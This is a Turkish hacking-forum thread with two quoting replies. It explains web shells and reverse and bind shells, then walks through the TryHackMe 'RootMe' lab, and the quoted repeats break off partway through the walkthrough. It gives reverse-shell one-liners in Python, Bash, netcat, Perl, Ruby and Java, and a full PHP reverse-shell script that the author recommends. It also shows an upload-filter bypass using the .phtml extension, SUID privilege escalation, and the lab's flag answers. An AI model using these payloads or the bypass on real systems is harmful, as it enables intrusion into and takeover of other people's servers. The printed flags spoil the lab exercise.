Shell Nedir ?

'GHOST

Uzman üye
31 Mar 2022
1,387
568
SHELL NEDİR ?
Shell yani (kabuk) dediğimiz şey kullanıcı ve çekirdek arasında aracı görevi yani binevi köprü görevi gören bir yazılımdır.Yaygın olarak çoğunlukla kullanılan olan bir kaç adet shell/kabuk bulunmaktadır. Bu kabukların uzantıları ise .php, .asp , .aspx olarak belirlenmiştir ve bu yaygın kabukların haricinde aynı prensipte lkeler ile işlev gösteren yaklaşık olarak 100 adet kabuk vardır.

Shell atmak Web sitesi üzerinde tüm yani tam yetkiye sahip olmak demektir. Shell atmak için çeşitli programlama dilleri kullanılır bu diller ile yazılan scriptler sunucuya yerlestikten sonra nc vb. araclar ile port dinlenrek baglantı gerçekleştirilir . Daha sonra hosting yani sunucu üzerinden web sitesi yöneticisinin yetkileri elde edilir. Kullanıcı adı şifresi vb. bilgiler ele geçirildikten sonra sonra tüm yetkilere sahip olunarak dilenirse web sitesi shell atan kişinin kendi üzerine kolaylıkla alınabilir..

Bir web sitesine shell atmak için birçok yöntem vardır bunlar ; Uzaktan dosya ekleme (Remote file inclusion) , SQL açılarından yararlanarak ve Exploit ile


REVERSE SHELL
Reverse Shell saldırı yapılan kurban sistem ile ters(reeverse) bağlantı kurarak, kurban sistem ile saldırgan arasında bir oturum açmaya yarar.Örneğin reverse shell almak için bu python kodunu

Python:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“10.0.0.1”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

siteye enjecte ettiğimizi düşünelim daha sonrasında shell almak için açtğımız porta baglantı kuracağız bunuda netcat aracı ile yapabiliriz nc -lvp 4444 4444. portu dinlemeye aldık hedef sistemde enjecte ettiğimiz kod çalıştığında shell bize düşecektir.


itcpz3d.png

Farklı yazılım dilleriyle reverse shell almak ;
PYTHON
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

BASH
Bash:
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1

NETCAT
Kod:
nc -e /bin/sh 1.2.3.4 4444

PERL
Perl:
perl -e 'use Socket;$i="1.2.3.4";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

RUBY
Ruby:
ruby -rsocket -e'f=TCPSocket.open("1.2.3.4",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

JAVA
Java:
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/1.2.3.4/4444;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

BEN REVERSE SHELL İÇİN PHP İLE YAZILMIŞ BİR SHEL BETİĞİNİ KULLANIYORUM SİZLERLEDE TAVSİYE EDERİM


PHP:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
  
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
  
    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

Siteye reverse shell almak için enjekte ettiğiniz dosya php uzantılıysa ve site bunu engelliyorsa php yi destekleyen .phtml uzantısını kullanabilirsiniz.

BİND SHELL
Bind Shell saldırı yapılan kurban makinanın hedef makinesinde bir iletişim portunu veya dinleyiciyi açtığı ve gelen bir bağlantıyı beklediği bir kabuk türüdür.Saldırı yapılan makine, hedef makineye dinlediği dinleme portu üzerinden bağlanır.
shydtz8.png


BASİT BİR ÖRNEK (TRYHACKME DEN) (ROOT ME):

3dkn4jl.png

her ctf de oldugu gibi vpn ile tryhackme sunucusuna bağlandım. Makinaya ping atıp makinnın çalısıp çalısmadıgına kontrol ettim
ping 10.10.22.56
nmap ile basit bir şekilde port taraması yaptık
5ungkk0.png

nmap -sC -sV 10.10.22.56

-sC : varsayılan nmap scriptleridir
-sV : Verisyon bilgisini sürümünü elde etmek için kullanılan nmap paremetresidir.

port taramasında http ve ssh portlarının açık ve versiyon bilgilerinin olduğunu görüyoruz bizi burada ilgilendiren asıl ssh portu.


tryhackme 1. sorusu makinayı tarayın kaç port var ? (2)
tryhackme 2. sorusu Apache'nin hangi sürümü çalışıyor? (2.4.29)
tryhackme 3. sorusu 22 numaralı bağlantı noktasında hangi hizmet çalışıyor? (ssh)


http servisi aktif olduğu için bir web sitesi olduğunu anlıyor ve ip adresini browser da açıyorum ve böyle bir şeyle karşılaşıyoruz.

qwf99xl.png

daha onrasında gobuster ile site üzerinde bir dizin taraması yapıyorum sizler dirb vb. araçlar ilede yapabilirsiniz.
gobuster dir -u http://10.10.22.56/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
5da3wgb.png
gobuster ile yaptığım dizin taraması sonucunda dikkatimi /panel dizini çekti ve bunu dizine gittiğimde dosya uplod edebileceğimiz bir sayfa ile karşılaştım.Buraya reverse shell için hazırladığımız betiği yüklediğimizde netcat ile dinlemeye alacağız ve uploads klasöründen bu upload ettiğimiz betiği çalıştırarak kabuğu elde edeceğiz

tryhackme 5. sorusu Gizli dizin nedir? (/panel)

44fh0au.png


burayab bir php ters kabuk betiği yükleyebiliriz ben buraya sizede kendi kullandığım ve tavsiye ettiğim php betiğini upload edeceğim.ilk öncelikle php dosyamızda gerekli düzenlemeleri yapalım.
j9popck.png

ip değişkenine ip adresimizi ve port değişkenimizede dinlemek istediğiniz bağlantı noktasını yazıyoruz.Daha sonrasında bu dosyayı .php uzantısı ile upload etmeye çalıştığımızda bir hata ile karşılaşacağız demekki .php uzantılı dosyaların yüklenmesine izin verilmiyor.
vanlwug.png

size baştada bahsettiğim gibi php uzantılı dosyalar sistem tarafınca engelleniyorsa php yi destekleyen .phtml uzantısını kullanabiliriz.Dosya uzantısını .phtml olarak değitirdiğimizde dosya upload edildi.
mq7222q.png

baglantı noktasını 4444. port olarak belirmiştik bu bağlantı noktasını netcat ile dinliyorum nc -lvnp 4444 ve uploads klasöründe upload ettiğim shell.phtml dosyasını çalıştırıyorum böylelikle kabuğu elde ediyoruz.
94t49c3.png

ama bu kabuk tam yetkide bir kabuk değil karalı bir kabuk elde etmek için basit bir python scripti
Python:
[CODE=python]python3 -c 'import pty; pty.spawn("/bin/bash")'
[/CODE]
bu script ile karaklı bir kabuk elde ediyoruz. ardından export TERM=xterm diyerek terminalde daha rahat olabilirsiniz.
rg5duyt.png

tryhackme bizden users.txt yi istiyor find ile yolunu bilmediğimiz dosyaların yolunu bulabiliriz find / -type f -name user.txt komutu ile user.txt nin yolunun /var/www/user.txt olduğunu buluyoruz.
tk9g57n.png

cat /var/www/user.txt ile dosya içeriğini görüyoruz
s0yrgog.png

Tryhackme 6. soru users.txt nedir ?(THM{y0u_g0t_a_sh3ll})
bi başka soruda ise bize SUID izni olan dosyaları arayın, hangi dosya garip olduğunu soruyor.
SUİD yetkisine sahip dosyaları görmek için
find / -type f user root -perm -4000 2>/dev/null komutunu kullaanabiliriz.
-perm : belirli izne sahip dosyaları arar
-type f : sadece dosyaları aramak içindir
2>/dev/null : SUİD yetkili dosyaları aradığımızda hata almamak için kullanılır.
find ile suid yetkisi olan dosyaları araştırdıgımızda bir sürü dosya çıkıyor diğerleri standart dosyalar ama garip olan dosya /usr/bin/python dosyası
1boy4s5.png

Tryhackme 7. sorusu SUID izni olan dosyaları arayın, hangi dosya garip?(/usr/bin/python)
/usr/var/python dosyacını açmak için suid yetkisine sahip olmalıyız
python için suid yetkisi

d92qnpw.png

cd usr/bin dizinine gidiyorum ve suid yetkisini elde etmek için kodumu çalıstırıyorum ve root oldugumuzu görüyoruz.
j126p1t.png

son soruda ise bize root.txt yi soruyor
rbiapos.png

Tryhackme 8. sorusu root.txt nedir? (THM{pr1v1l3g3_3sc4l4t10n})
l4rpvjc.png
 
Son düzenleme:
13 Nis 2022
179
113
тüяκıчe
SHELL NEDİR ?
Shell yani (kabuk) dediğimiz şey kullanıcı ve çekirdek arasında aracı görevi yani binevi köprü görevi gören bir yazılımdır.Yaygın olarak çoğunlukla kullanılan olan bir kaç adet shell/kabuk bulunmaktadır. Bu kabukların uzantıları ise .php, .asp , .aspx olarak belirlenmiştir ve bu yaygın kabukların haricinde aynı prensipte lkeler ile işlev gösteren yaklaşık olarak 100 adet kabuk vardır.

Shell atmak Web sitesi üzerinde tüm yani tam yetkiye sahip olmak demektir. Shell atmak için çeşitli programlama dilleri kullanılır bu diller ile yazılan scriptler sunucuya yerlestikten sonra nc vb. araclar ile port dinlenrek baglantı gerçekleştirilir . Daha sonra hosting yani sunucu üzerinden web sitesi yöneticisinin yetkileri elde edilir. Kullanıcı adı şifresi vb. bilgiler ele geçirildikten sonra sonra tüm yetkilere sahip olunarak dilenirse web sitesi shell atan kişinin kendi üzerine kolaylıkla alınabilir.

Bir web sitesine shell atmak için birçok yöntem vardır bunlar ; Uzaktan dosya ekleme (Remote file inclusion) , SQL açılarından yararlanarak ve Exploit ile


REVERSE SHELL
Reverse Shell saldırı yapılan kurban sistem ile ters(reeverse) bağlantı kurarak, kurban sistem ile saldırgan arasında bir oturum açmaya yarar.Örneğin reverse shell almak için bu python kodunu

Python:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“10.0.0.1”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

siteye enjecte ettiğimizi düşünelim daha sonrasında shell almak için açtğımız porta baglantı kuracağız bunuda netcat aracı ile yapabiliriz nc -lvp 4444 4444. portu dinlemeye aldık hedef sistemde enjecte ettiğimiz kod çalıştığında shell bize düşecektir.


itcpz3d.png

Farklı yazılım dilleriyle reverse shell almak ;
PYTHON
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

BASH
Bash:
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1

NETCAT
Kod:
nc -e /bin/sh 1.2.3.4 4444

PERL
Perl:
perl -e 'use Socket;$i="1.2.3.4";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

RUBY
Ruby:
ruby -rsocket -e'f=TCPSocket.open("1.2.3.4",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

JAVA
Java:
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/1.2.3.4/4444;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

BEN REVERSE SHELL İÇİN PHP İLE YAZILMIŞ BİR SHEL BETİĞİNİ KULLANIYORUM SİZLERLEDE TAVSİYE EDERİM


PHP:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
  
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
  
    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

Siteye reverse shell almak için enjekte ettiğiniz dosya php uzantılıysa ve site bunu engelliyorsa php yi destekleyen .phtml uzantısını kullanabilirsiniz.

BİND SHELL
Bind Shell saldırı yapılan kurban makinanın hedef makinesinde bir iletişim portunu veya dinleyiciyi açtığı ve gelen bir bağlantıyı beklediği bir kabuk türüdür.Saldırı yapılan makine, hedef makineye dinlediği dinleme portu üzerinden bağlanır.
shydtz8.png


BASİT BİR ÖRNEK (TRYHACKME DEN) (ROOT ME):

3dkn4jl.png

her ctf de oldugu gibi vpn ile tryhackme sunucusuna bağlandım. Makinaya ping atıp makinnın çalısıp çalısmadıgına kontrol ettim
ping 10.10.22.56
nmap ile basit bir şekilde port taraması yaptık
5ungkk0.png

nmap -sC -sV 10.10.22.56

-sC : varsayılan nmap scriptleridir
-sV : Verisyon bilgisini sürümünü elde etmek için kullanılan nmap paremetresidir.

port taramasında http ve ssh portlarının açık ve versiyon bilgilerinin olduğunu görüyoruz bizi burada ilgilendiren asıl ssh portu.


tryhackme 1. sorusu makinayı tarayın kaç port var ? (2)
tryhackme 2. sorusu Apache'nin hangi sürümü çalışıyor? (2.4.29)
tryhackme 3. sorusu 22 numaralı bağlantı noktasında hangi hizmet çalışıyor? (ssh)


http servisi aktif olduğu için bir web sitesi olduğunu anlıyor ve ip adresini browser da açıyorum ve böyle bir şeyle karşılaşıyoruz.

qwf99xl.png

daha onrasında gobuster ile site üzerinde bir dizin taraması yapıyorum sizler dirb vb. araçlar ilede yapabilirsiniz.
gobuster dir -u http://10.10.22.56/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
5da3wgb.png
gobuster ile yaptığım dizin taraması sonucunda dikkatimi /panel dizini çekti ve bunu dizine gittiğimde dosya uplod edebileceğimiz bir sayfa ile karşılaştım.Buraya reverse shell için hazırladığımız betiği yüklediğimizde netcat ile dinlemeye alacağız ve uploads klasöründen bu upload ettiğimiz betiği çalıştırarak kabuğu elde edeceğiz

tryhackme 5. sorusu Gizli dizin nedir? (/panel)

44fh0au.png


burayab bir php ters kabuk betiği yükleyebiliriz ben buraya sizede kendi kullandığım ve tavsiye ettiğim php betiğini upload edeceğim.ilk öncelikle php dosyamızda gerekli düzenlemeleri yapalım.
j9popck.png

ip değişkenine ip adresimizi ve port değişkenimizede dinlemek istediğiniz bağlantı noktasını yazıyoruz.Daha sonrasında bu dosyayı .php uzantısı ile upload etmeye çalıştığımızda bir hata ile karşılaşacağız demekki .php uzantılı dosyaların yüklenmesine izin verilmiyor.
vanlwug.png

size baştada bahsettiğim gibi php uzantılı dosyalar sistem tarafınca engelleniyorsa php yi destekleyen .phtml uzantısını kullanabiliriz.Dosya uzantısını .phtml olarak değitirdiğimizde dosya upload edildi.
mq7222q.png

baglantı noktasını 4444. port olarak belirmiştik bu bağlantı noktasını netcat ile dinliyorum nc -lvnp 4444 ve uploads klasöründe upload ettiğim shell.phtml dosyasını çalıştırıyorum böylelikle kabuğu elde ediyoruz.
94t49c3.png

ama bu kabuk tam yetkide bir kabuk değil karalı bir kabuk elde etmek için basit bir python scripti
Python:
[CODE=python]python3 -c 'import pty; pty.spawn("/bin/bash")'
[/CODE]
bu script ile karaklı bir kabuk elde ediyoruz. ardından export TERM=xterm diyerek terminalde daha rahat olabilirsiniz.
rg5duyt.png

tryhackme bizden users.txt yi istiyor find ile yolunu bilmediğimiz dosyaların yolunu bulabiliriz find / -type f -name user.txt komutu ile user.txt nin yolunun /var/www/user.txt olduğunu buluyoruz.
tk9g57n.png

cat /var/www/user.txt ile dosya içeriğini görüyoruz
s0yrgog.png

Tryhackme 6. soru users.txt nedir ?(THM{y0u_g0t_a_sh3ll})
bi başka soruda ise bize SUID izni olan dosyaları arayın, hangi dosya garip olduğunu soruyor.
SUİD yetkisine sahip dosyaları görmek için
find / -type f user root -perm -4000 2>/dev/null komutunu kullaanabiliriz.
-perm : belirli izne sahip dosyaları arar
-type f : sadece dosyaları aramak içindir
2>/dev/null : SUİD yetkili dosyaları aradığımızda hata almamak için kullanılır.
find ile suid yetkisi olan dosyaları araştırdıgımızda bir sürü dosya çıkıyor diğerleri standart dosyalar ama garip olan dosya /usr/bin/python dosyası
1boy4s5.png

Tryhackme 7. sorusu SUID izni olan dosyaları arayın, hangi dosya garip?(/usr/bin/python)
/usr/var/python dosyacını açmak için suid yetkisine sahip olmalıyız
python için suid yetkisi

d92qnpw.png

cd usr/bin dizinine gidiyorum ve suid yetkisini elde etmek için kodumu çalıstırıyorum ve root oldugumuzu görüyoruz.
j126p1t.png

son soruda ise bize root.txt yi soruyor
rbiapos.png

Tryhackme 8. sorusu root.txt nedir? (THM{pr1v1l3g3_3sc4l4t10n})
l4rpvjc.png
Ellerinize Sağlık
 

Sarryion

Yeni üye
17 Eki 2020
2
0
localhost/sarryion
SHELL NEDİR ?
Shell yani (kabuk) dediğimiz şey kullanıcı ve çekirdek arasında aracı görevi yani binevi köprü görevi gören bir yazılımdır.Yaygın olarak çoğunlukla kullanılan olan bir kaç adet shell/kabuk bulunmaktadır. Bu kabukların uzantıları ise .php, .asp , .aspx olarak belirlenmiştir ve bu yaygın kabukların haricinde aynı prensipte lkeler ile işlev gösteren yaklaşık olarak 100 adet kabuk vardır.

Shell atmak Web sitesi üzerinde tüm yani tam yetkiye sahip olmak demektir. Shell atmak için çeşitli programlama dilleri kullanılır bu diller ile yazılan scriptler sunucuya yerlestikten sonra nc vb. araclar ile port dinlenrek baglantı gerçekleştirilir . Daha sonra hosting yani sunucu üzerinden web sitesi yöneticisinin yetkileri elde edilir. Kullanıcı adı şifresi vb. bilgiler ele geçirildikten sonra sonra tüm yetkilere sahip olunarak dilenirse web sitesi shell atan kişinin kendi üzerine kolaylıkla alınabilir..

Bir web sitesine shell atmak için birçok yöntem vardır bunlar ; Uzaktan dosya ekleme (Remote file inclusion) , SQL açılarından yararlanarak ve Exploit ile


REVERSE SHELL
Reverse Shell saldırı yapılan kurban sistem ile ters(reeverse) bağlantı kurarak, kurban sistem ile saldırgan arasında bir oturum açmaya yarar.Örneğin reverse shell almak için bu python kodunu

Python:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“10.0.0.1”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

siteye enjecte ettiğimizi düşünelim daha sonrasında shell almak için açtğımız porta baglantı kuracağız bunuda netcat aracı ile yapabiliriz nc -lvp 4444 4444. portu dinlemeye aldık hedef sistemde enjecte ettiğimiz kod çalıştığında shell bize düşecektir.


itcpz3d.png

Farklı yazılım dilleriyle reverse shell almak ;
PYTHON
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

BASH
Bash:
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1

NETCAT
Kod:
nc -e /bin/sh 1.2.3.4 4444

PERL
Perl:
perl -e 'use Socket;$i="1.2.3.4";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

RUBY
Ruby:
ruby -rsocket -e'f=TCPSocket.open("1.2.3.4",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

JAVA
Java:
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/1.2.3.4/4444;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

BEN REVERSE SHELL İÇİN PHP İLE YAZILMIŞ BİR SHEL BETİĞİNİ KULLANIYORUM SİZLERLEDE TAVSİYE EDERİM


PHP:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
 
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
 
    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

Siteye reverse shell almak için enjekte ettiğiniz dosya php uzantılıysa ve site bunu engelliyorsa php yi destekleyen .phtml uzantısını kullanabilirsiniz.

BİND SHELL
Bind Shell saldırı yapılan kurban makinanın hedef makinesinde bir iletişim portunu veya dinleyiciyi açtığı ve gelen bir bağlantıyı beklediği bir kabuk türüdür.Saldırı yapılan makine, hedef makineye dinlediği dinleme portu üzerinden bağlanır.
shydtz8.png


BASİT BİR ÖRNEK (TRYHACKME DEN) (ROOT ME):

3dkn4jl.png

her ctf de oldugu gibi vpn ile tryhackme sunucusuna bağlandım. Makinaya ping atıp makinnın çalısıp çalısmadıgına kontrol ettim
ping 10.10.22.56
nmap ile basit bir şekilde port taraması yaptık
5ungkk0.png

nmap -sC -sV 10.10.22.56

-sC : varsayılan nmap scriptleridir
-sV : Verisyon bilgisini sürümünü elde etmek için kullanılan nmap paremetresidir.

port taramasında http ve ssh portlarının açık ve versiyon bilgilerinin olduğunu görüyoruz bizi burada ilgilendiren asıl ssh portu.


tryhackme 1. sorusu makinayı tarayın kaç port var ? (2)
tryhackme 2. sorusu Apache'nin hangi sürümü çalışıyor? (2.4.29)
tryhackme 3. sorusu 22 numaralı bağlantı noktasında hangi hizmet çalışıyor? (ssh)


http servisi aktif olduğu için bir web sitesi olduğunu anlıyor ve ip adresini browser da açıyorum ve böyle bir şeyle karşılaşıyoruz.

qwf99xl.png

daha onrasında gobuster ile site üzerinde bir dizin taraması yapıyorum sizler dirb vb. araçlar ilede yapabilirsiniz.
gobuster dir -u http://10.10.22.56/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
5da3wgb.png
gobuster ile yaptığım dizin taraması sonucunda dikkatimi /panel dizini çekti ve bunu dizine gittiğimde dosya uplod edebileceğimiz bir sayfa ile karşılaştım.Buraya reverse shell için hazırladığımız betiği yüklediğimizde netcat ile dinlemeye alacağız ve uploads klasöründen bu upload ettiğimiz betiği çalıştırarak kabuğu elde edeceğiz

tryhackme 5. sorusu Gizli dizin nedir? (/panel)

44fh0au.png


burayab bir php ters kabuk betiği yükleyebiliriz ben buraya sizede kendi kullandığım ve tavsiye ettiğim php betiğini upload edeceğim.ilk öncelikle php dosyamızda gerekli düzenlemeleri yapalım.
j9popck.png

